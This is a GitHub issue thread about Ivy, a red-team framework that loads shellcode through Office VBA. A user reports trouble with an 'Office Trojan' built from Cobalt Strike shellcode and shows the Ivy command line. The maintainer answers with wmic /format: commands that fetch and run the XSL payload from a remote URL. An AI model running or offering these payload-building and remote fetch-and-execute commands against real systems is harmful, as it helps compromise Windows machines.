search

optiv / Ivy

Ivy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode.
MIT License
740 stars 127 forks source link

Error generating Office Trojan #21

Closed adminfanf closed 2 years ago

adminfanf commented 2 years ago

I am sorry that I cannot open the xxx. XLS file because there is something wrong with the content. What should I do

Tylous commented 2 years ago

Could show/tell me how you are executing it. The more details you provide me the easier it is for me to identify the issue.

adminfanf commented 2 years ago

I used Cobalt Strike to generate the C language payload and then used Ivy. exe-ix64 stageless64.bin -ix86 stageless32.bin -p Local -o test. XSL -delivery XSL -stageless is generated, but I don't know if the -URL parameter is required

Tylous commented 2 years ago

How are you trying to execute the file?

adminfanf commented 2 years ago

Runs as an administrator on Windows

Tylous commented 2 years ago

That's the problem you cant just write click it. XSL files like that need to be executed with a WMIC command that allows for a format command argument. When you compiled it, It should of listed something like this:

wmic computersystem list full /format:"http://ACME.com/test.xsl"
wmic computersystem list brief /format:"http://ACME.com/test.xsl"
wmic process list brief /format:"http://ACME.com/test.xsl"

Those are how you can execute the file.

adminfanf commented 2 years ago

Okay, I'll try it. Thank you very much